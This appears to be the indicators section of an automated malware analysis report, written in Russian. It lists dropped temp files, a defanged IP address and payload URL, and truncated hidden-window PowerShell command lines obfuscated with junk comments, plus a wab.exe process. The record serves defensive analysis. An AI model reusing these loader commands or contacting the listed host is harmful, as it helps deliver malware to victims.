Техническая информация
- %APPDATA%\bit9fa8.tmp
- %APPDATA%\bit9fa8.tmp
- %APPDATA%\bit9fa8.tmp в %APPDATA%\archpriest101.ind
- '14#.#8.103.250':80
- http://14#.#8.103.250/Verseless.hhk
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "<#oprrers Unopenly Huile Glows Eyeholes Shrining #>;<#Dihybridism Mamlutdar Rhizophilous Mobiltelefoner #>;New-Item -Path 'Jenbrynenes:\Scotchify' -Name 'Maize' -ItemType 'file';<#Lobeliaernes...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "<#oprrers Unopenly Huile Glows Eyeholes Shrining #>;<#Dihybridism Mamlutdar Rhizophilous Mobiltelefoner #>;New-Item -Path 'Jenbrynenes:\Scotchify' -Name 'Maize' -ItemType 'file';<#Lobeliaernes...
- '<SYSTEM32>\cmd.exe' /c "echo 1 && exit"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "<#oprrers Unopenly Huile Glows Eyeholes Shrining #>;<#Dihybridism Mamlutdar Rhizophilous Mobiltelefoner #>;New-Item -Path 'Jenbrynenes:\Scotchify' -Name 'Maize' -ItemType 'file';<#Lobeliaernes...
- '%WINDIR%\syswow64\cmd.exe' /c "echo 1 && exit"
- '%ProgramFiles(x86)%\windows mail\wab.exe'